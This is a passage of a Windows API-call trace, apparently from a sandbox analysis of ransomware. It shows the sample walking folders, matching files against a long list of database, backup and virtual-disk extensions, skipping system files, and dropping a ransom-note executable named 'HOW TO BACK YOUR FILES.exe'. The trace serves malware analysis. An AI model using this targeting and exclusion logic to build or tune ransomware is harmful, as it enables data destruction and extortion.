	[0061.832] lstrlenW (lpString="itdb") returned 4
	[0061.832] lstrcmpiW (lpString1="y.js", lpString2="itdb") returned 1
	[0061.832] lstrlenW (lpString="itw") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="itw") returned -1
	[0061.832] lstrlenW (lpString="jet") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="jet") returned -1
	[0061.832] lstrlenW (lpString="jtx") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="jtx") returned -1
	[0061.833] lstrlenW (lpString="kdb") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="kdb") returned -1
	[0061.833] lstrlenW (lpString="kexi") returned 4
	[0061.833] lstrcmpiW (lpString1="y.js", lpString2="kexi") returned 1
	[0061.833] lstrlenW (lpString="kexic") returned 5
	[0061.833] lstrcmpiW (lpString1="cy.js", lpString2="kexic") returned -1
	[0061.833] lstrlenW (lpString="kexis") returned 5
	[0061.833] lstrcmpiW (lpString1="cy.js", lpString2="kexis") returned -1
	[0061.833] lstrlenW (lpString="lgc") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="lgc") returned -1
	[0061.833] lstrlenW (lpString="lwx") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="lwx") returned -1
	[0061.833] lstrlenW (lpString="maf") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="maf") returned -1
	[0061.833] lstrlenW (lpString="maq") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="maq") returned -1
	[0061.833] lstrlenW (lpString="mar") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="mar") returned -1
	[0061.833] lstrlenW (lpString="marshal") returned 7
	[0061.833] lstrcmpiW (lpString1="ency.js", lpString2="marshal") returned -1
	[0061.833] lstrlenW (lpString="mas") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="mas") returned -1
	[0061.833] lstrlenW (lpString="mav") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="mav") returned -1
	[0061.833] lstrlenW (lpString="maw") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="maw") returned -1
	[0061.833] lstrlenW (lpString="mdbhtml") returned 7
	[0061.833] lstrcmpiW (lpString1="ency.js", lpString2="mdbhtml") returned -1
	[0061.833] lstrlenW (lpString="mdn") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="mdn") returned -1
	[0061.833] lstrlenW (lpString="mdt") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="mdt") returned -1
	[0061.833] lstrlenW (lpString="mfd") returned 3
	[0061.833] lstrcmpiW (lpString1=".js", lpString2="mfd") returned -1
	[0061.834] lstrlenW (lpString="mpd") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="mpd") returned -1
	[0061.834] lstrlenW (lpString="mrg") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="mrg") returned -1
	[0061.834] lstrlenW (lpString="mud") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="mud") returned -1
	[0061.834] lstrlenW (lpString="mwb") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="mwb") returned -1
	[0061.834] lstrlenW (lpString="myd") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="myd") returned -1
	[0061.834] lstrlenW (lpString="ndf") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="ndf") returned -1
	[0061.834] lstrlenW (lpString="nnt") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="nnt") returned -1
	[0061.834] lstrlenW (lpString="nrmlib") returned 6
	[0061.834] lstrcmpiW (lpString1="ncy.js", lpString2="nrmlib") returned -1
	[0061.834] lstrlenW (lpString="ns2") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="ns2") returned -1
	[0061.834] lstrlenW (lpString="ns3") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="ns3") returned -1
	[0061.834] lstrlenW (lpString="ns4") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="ns4") returned -1
	[0061.834] lstrlenW (lpString="nsf") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="nsf") returned -1
	[0061.834] lstrlenW (lpString="nv") returned 2
	[0061.834] lstrcmpiW (lpString1="js", lpString2="nv") returned -1
	[0061.834] lstrlenW (lpString="nv2") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="nv2") returned -1
	[0061.834] lstrlenW (lpString="nwdb") returned 4
	[0061.834] lstrcmpiW (lpString1="y.js", lpString2="nwdb") returned 1
	[0061.834] lstrlenW (lpString="nyf") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="nyf") returned -1
	[0061.834] lstrlenW (lpString="odb") returned 3
	[0061.834] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0061.835] lstrlenW (lpString="odb") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="odb") returned -1
	[0061.835] lstrlenW (lpString="oqy") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="oqy") returned -1
	[0061.835] lstrlenW (lpString="ora") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="ora") returned -1
	[0061.835] lstrlenW (lpString="orx") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="orx") returned -1
	[0061.835] lstrlenW (lpString="owc") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="owc") returned -1
	[0061.835] lstrlenW (lpString="p96") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="p96") returned -1
	[0061.835] lstrlenW (lpString="p97") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="p97") returned -1
	[0061.835] lstrlenW (lpString="pan") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="pan") returned -1
	[0061.835] lstrlenW (lpString="pdb") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="pdb") returned -1
	[0061.835] lstrlenW (lpString="pdm") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="pdm") returned -1
	[0061.835] lstrlenW (lpString="pnz") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="pnz") returned -1
	[0061.835] lstrlenW (lpString="qry") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="qry") returned -1
	[0061.835] lstrlenW (lpString="qvd") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="qvd") returned -1
	[0061.835] lstrlenW (lpString="rbf") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="rbf") returned -1
	[0061.835] lstrlenW (lpString="rctd") returned 4
	[0061.835] lstrcmpiW (lpString1="y.js", lpString2="rctd") returned 1
	[0061.835] lstrlenW (lpString="rod") returned 3
	[0061.835] lstrcmpiW (lpString1=".js", lpString2="rod") returned -1
	[0061.835] lstrlenW (lpString="rodx") returned 4
	[0061.835] lstrcmpiW (lpString1="y.js", lpString2="rodx") returned 1
	[0061.836] lstrlenW (lpString="rpd") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="rpd") returned -1
	[0061.836] lstrlenW (lpString="rsd") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="rsd") returned -1
	[0061.836] lstrlenW (lpString="sas7bdat") returned 8
	[0061.836] lstrcmpiW (lpString1="rency.js", lpString2="sas7bdat") returned -1
	[0061.836] lstrlenW (lpString="sbf") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="sbf") returned -1
	[0061.836] lstrlenW (lpString="scx") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="scx") returned -1
	[0061.836] lstrlenW (lpString="sdb") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="sdb") returned -1
	[0061.836] lstrlenW (lpString="sdc") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="sdc") returned -1
	[0061.836] lstrlenW (lpString="sdf") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="sdf") returned -1
	[0061.836] lstrlenW (lpString="sis") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="sis") returned -1
	[0061.836] lstrlenW (lpString="spq") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="spq") returned -1
	[0061.836] lstrlenW (lpString="te") returned 2
	[0061.836] lstrcmpiW (lpString1="js", lpString2="te") returned -1
	[0061.836] lstrlenW (lpString="teacher") returned 7
	[0061.836] lstrcmpiW (lpString1="ency.js", lpString2="teacher") returned -1
	[0061.836] lstrlenW (lpString="tmd") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="tmd") returned -1
	[0061.836] lstrlenW (lpString="tps") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="tps") returned -1
	[0061.836] lstrlenW (lpString="trc") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0061.836] lstrlenW (lpString="trc") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="trc") returned -1
	[0061.836] lstrlenW (lpString="trm") returned 3
	[0061.836] lstrcmpiW (lpString1=".js", lpString2="trm") returned -1
	[0061.836] lstrlenW (lpString="udb") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="udb") returned -1
	[0061.837] lstrlenW (lpString="udl") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="udl") returned -1
	[0061.837] lstrlenW (lpString="usr") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="usr") returned -1
	[0061.837] lstrlenW (lpString="v12") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="v12") returned -1
	[0061.837] lstrlenW (lpString="vis") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="vis") returned -1
	[0061.837] lstrlenW (lpString="vpd") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="vpd") returned -1
	[0061.837] lstrlenW (lpString="vvv") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="vvv") returned -1
	[0061.837] lstrlenW (lpString="wdb") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="wdb") returned -1
	[0061.837] lstrlenW (lpString="wmdb") returned 4
	[0061.837] lstrcmpiW (lpString1="y.js", lpString2="wmdb") returned 1
	[0061.837] lstrlenW (lpString="wrk") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="wrk") returned -1
	[0061.837] lstrlenW (lpString="xdb") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="xdb") returned -1
	[0061.837] lstrlenW (lpString="xld") returned 3
	[0061.837] lstrcmpiW (lpString1=".js", lpString2="xld") returned -1
	[0061.837] lstrlenW (lpString="xmlff") returned 5
	[0061.837] lstrcmpiW (lpString1="cy.js", lpString2="xmlff") returned -1
	[0061.837] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ceafbb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3ceafbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.837] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.837] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1
	[0061.837] lstrcmpiW (lpString1="init.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.837] lstrcmpiW (lpString1="init.js", lpString2="Apollon865.txt.exe") returned 1
	[0061.837] lstrcmpiW (lpString1="init.js", lpString2=".") returned 1
	[0061.837] lstrcmpiW (lpString1="init.js", lpString2="..") returned 1
	[0061.837] lstrcmpiW (lpString1="init.js", lpString2="windows") returned -1
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2="bootmgr") returned 1
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2="temp") returned -1
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2="pagefile.sys") returned -1
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2="boot") returned 1
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2="ids.txt") returned 1
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2="ntuser.dat") returned -1
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2="perflogs") returned -1
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2="MSBuild") returned -1
	[0061.838] lstrlenW (lpString="init.js") returned 7
	[0061.838] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\currency.js") returned 77
	[0061.838] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="init.js" | out: lpString1="init.js") returned="init.js"
	[0061.838] lstrlenW (lpString="init.js") returned 7
	[0061.838] lstrlenW (lpString="Apollon865") returned 10
	[0061.838] lstrlenW (lpString=".dll") returned 4
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2=".dll") returned 1
	[0061.838] lstrlenW (lpString=".lnk") returned 4
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2=".lnk") returned 1
	[0061.838] lstrlenW (lpString=".ini") returned 4
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2=".ini") returned 1
	[0061.838] lstrlenW (lpString=".sys") returned 4
	[0061.838] lstrcmpiW (lpString1="init.js", lpString2=".sys") returned 1
	[0061.838] lstrlenW (lpString="init.js") returned 7
	[0061.838] lstrlenW (lpString="bak") returned 3
	[0061.838] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0061.838] lstrlenW (lpString="ba_") returned 3
	[0061.838] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0061.838] lstrlenW (lpString="dbb") returned 3
	[0061.838] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0061.838] lstrlenW (lpString="vmdk") returned 4
	[0061.838] lstrcmpiW (lpString1="t.js", lpString2="vmdk") returned -1
	[0061.838] lstrlenW (lpString="rar") returned 3
	[0061.838] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0061.838] lstrlenW (lpString="zip") returned 3
	[0061.839] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0061.839] lstrlenW (lpString="tgz") returned 3
	[0061.839] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0061.839] lstrlenW (lpString="vbox") returned 4
	[0061.839] lstrcmpiW (lpString1="t.js", lpString2="vbox") returned -1
	[0061.839] lstrlenW (lpString="vdi") returned 3
	[0061.839] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0061.839] lstrlenW (lpString="vhd") returned 3
	[0061.839] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0061.839] lstrlenW (lpString="vhdx") returned 4
	[0061.839] lstrcmpiW (lpString1="t.js", lpString2="vhdx") returned -1
	[0061.839] lstrlenW (lpString="avhd") returned 4
	[0061.839] lstrcmpiW (lpString1="t.js", lpString2="avhd") returned 1
	[0061.839] lstrlenW (lpString="db") returned 2
	[0061.839] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0061.839] lstrlenW (lpString="db2") returned 3
	[0061.839] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0061.839] lstrlenW (lpString="db3") returned 3
	[0061.839] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0061.840] lstrlenW (lpString="dbf") returned 3
	[0061.840] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0061.840] lstrlenW (lpString="mdf") returned 3
	[0061.840] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0061.840] lstrlenW (lpString="mdb") returned 3
	[0061.840] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0061.840] lstrlenW (lpString="sql") returned 3
	[0061.840] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0061.840] lstrlenW (lpString="sqlite") returned 6
	[0061.840] lstrcmpiW (lpString1="nit.js", lpString2="sqlite") returned -1
	[0061.840] lstrlenW (lpString="sqlite3") returned 7
	[0061.840] lstrlenW (lpString="sqlitedb") returned 8
	[0061.840] lstrlenW (lpString="xml") returned 3
	[0061.840] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0061.840] lstrlenW (lpString="$er") returned 3
	[0061.840] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0061.840] lstrlenW (lpString="4dd") returned 3
	[0061.841] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0061.841] lstrlenW (lpString="4dl") returned 3
	[0061.841] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0061.841] lstrlenW (lpString="^^^") returned 3
	[0061.842] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0061.842] lstrlenW (lpString="abs") returned 3
	[0061.842] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0061.843] lstrlenW (lpString="abx") returned 3
	[0061.843] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0061.843] lstrlenW (lpString="accdb") returned 5
	[0061.843] lstrcmpiW (lpString1="it.js", lpString2="accdb") returned 1
	[0061.843] lstrlenW (lpString="accdc") returned 5
	[0061.843] lstrcmpiW (lpString1="it.js", lpString2="accdc") returned 1
	[0061.846] lstrlenW (lpString="accde") returned 5
	[0061.847] lstrcmpiW (lpString1="it.js", lpString2="accde") returned 1
	[0061.847] lstrlenW (lpString="accdr") returned 5
	[0061.847] lstrcmpiW (lpString1="it.js", lpString2="accdr") returned 1
	[0061.847] lstrlenW (lpString="accdt") returned 5
	[0061.849] lstrcmpiW (lpString1="it.js", lpString2="accdt") returned 1
	[0061.849] lstrlenW (lpString="accdw") returned 5
	[0061.849] lstrcmpiW (lpString1="it.js", lpString2="accdw") returned 1
	[0061.849] lstrlenW (lpString="accft") returned 5
	[0061.849] lstrcmpiW (lpString1="it.js", lpString2="accft") returned 1
	[0061.849] lstrlenW (lpString="adb") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0061.849] lstrlenW (lpString="adb") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0061.849] lstrlenW (lpString="ade") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0061.849] lstrlenW (lpString="adf") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0061.849] lstrlenW (lpString="adn") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0061.849] lstrlenW (lpString="adp") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0061.849] lstrlenW (lpString="alf") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0061.849] lstrlenW (lpString="ask") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0061.849] lstrlenW (lpString="btr") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0061.849] lstrlenW (lpString="cat") returned 3
	[0061.849] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0061.850] lstrlenW (lpString="cdb") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0061.850] lstrlenW (lpString="ckp") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0061.850] lstrlenW (lpString="cma") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0061.850] lstrlenW (lpString="cpd") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0061.850] lstrlenW (lpString="dacpac") returned 6
	[0061.850] lstrcmpiW (lpString1="nit.js", lpString2="dacpac") returned 1
	[0061.850] lstrlenW (lpString="dad") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0061.850] lstrlenW (lpString="dadiagrams") returned 10
	[0061.850] lstrlenW (lpString="daschema") returned 8
	[0061.850] lstrlenW (lpString="db-journal") returned 10
	[0061.850] lstrlenW (lpString="db-shm") returned 6
	[0061.850] lstrcmpiW (lpString1="nit.js", lpString2="db-shm") returned 1
	[0061.850] lstrlenW (lpString="db-wal") returned 6
	[0061.850] lstrcmpiW (lpString1="nit.js", lpString2="db-wal") returned 1
	[0061.850] lstrlenW (lpString="dbc") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0061.850] lstrlenW (lpString="dbs") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0061.850] lstrlenW (lpString="dbt") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0061.850] lstrlenW (lpString="dbv") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0061.850] lstrlenW (lpString="dbx") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0061.850] lstrlenW (lpString="dcb") returned 3
	[0061.850] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0061.851] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0061.851] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0061.851] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0061.851] lstrcmpiW (lpString1="t.js", lpString2="dlis") returned 1
	[0061.851] lstrcmpiW (lpString1=".js", lpString2="dp1") returned -1
	[0061.851] lstrcmpiW (lpString1=".js", lpString2="dqy") returned -1
	[0061.851] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="library.js" | out: lpString1="library.js") returned="library.js"
	[0061.851] lstrlenW (lpString="library.js") returned 10
	[0061.851] lstrlenW (lpString="Apollon865") returned 10
	[0061.851] lstrlenW (lpString=".dll") returned 4
	[0061.851] lstrcmpiW (lpString1="library.js", lpString2=".dll") returned 1
	[0061.851] lstrlenW (lpString=".lnk") returned 4
	[0061.851] lstrcmpiW (lpString1="library.js", lpString2=".lnk") returned 1
	[0061.851] lstrlenW (lpString=".ini") returned 4
	[0061.851] lstrcmpiW (lpString1="library.js", lpString2=".ini") returned 1
	[0061.851] lstrlenW (lpString=".sys") returned 4
	[0061.851] lstrcmpiW (lpString1="library.js", lpString2=".sys") returned 1
	[0061.851] lstrlenW (lpString="library.js") returned 10
	[0061.851] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="localizedStrings.js" | out: lpString1="localizedStrings.js") returned="localizedStrings.js"
	[0061.851] lstrlenW (lpString="localizedStrings.js") returned 19
	[0061.851] lstrlenW (lpString="Apollon865") returned 10
	[0061.851] lstrcmpiW (lpString1="Strings.js", lpString2="Apollon865") returned 1
	[0061.852] lstrlenW (lpString=".dll") returned 4
	[0061.852] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".dll") returned 1
	[0061.852] lstrlenW (lpString=".lnk") returned 4
	[0061.852] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".lnk") returned 1
	[0061.852] lstrlenW (lpString=".ini") returned 4
	[0061.852] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".ini") returned 1
	[0061.852] lstrlenW (lpString=".sys") returned 4
	[0061.852] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".sys") returned 1
	[0061.852] lstrlenW (lpString="localizedStrings.js") returned 19
	[0061.852] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="service.js" | out: lpString1="service.js") returned="service.js"
	[0061.852] lstrlenW (lpString="service.js") returned 10
	[0061.852] lstrlenW (lpString="Apollon865") returned 10
	[0061.852] lstrlenW (lpString=".dll") returned 4
	[0061.852] lstrcmpiW (lpString1="service.js", lpString2=".dll") returned 1
	[0061.852] lstrlenW (lpString=".lnk") returned 4
	[0061.852] lstrcmpiW (lpString1="service.js", lpString2=".lnk") returned 1
	[0061.852] lstrlenW (lpString=".ini") returned 4
	[0061.852] lstrcmpiW (lpString1="service.js", lpString2=".ini") returned 1
	[0061.852] lstrlenW (lpString=".sys") returned 4
	[0061.852] lstrcmpiW (lpString1="service.js", lpString2=".sys") returned 1
	[0061.852] lstrlenW (lpString="service.js") returned 10
	[0061.852] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css"
	[0061.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0061.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0061.852] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css") returned 66
	[0061.852] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css"
	[0061.852] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.853] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.857] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3cefbe70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cefbe70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.857] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.857] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.857] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.857] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3cefbe70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cefbe70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.858] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.858] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.858] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.858] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.858] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1
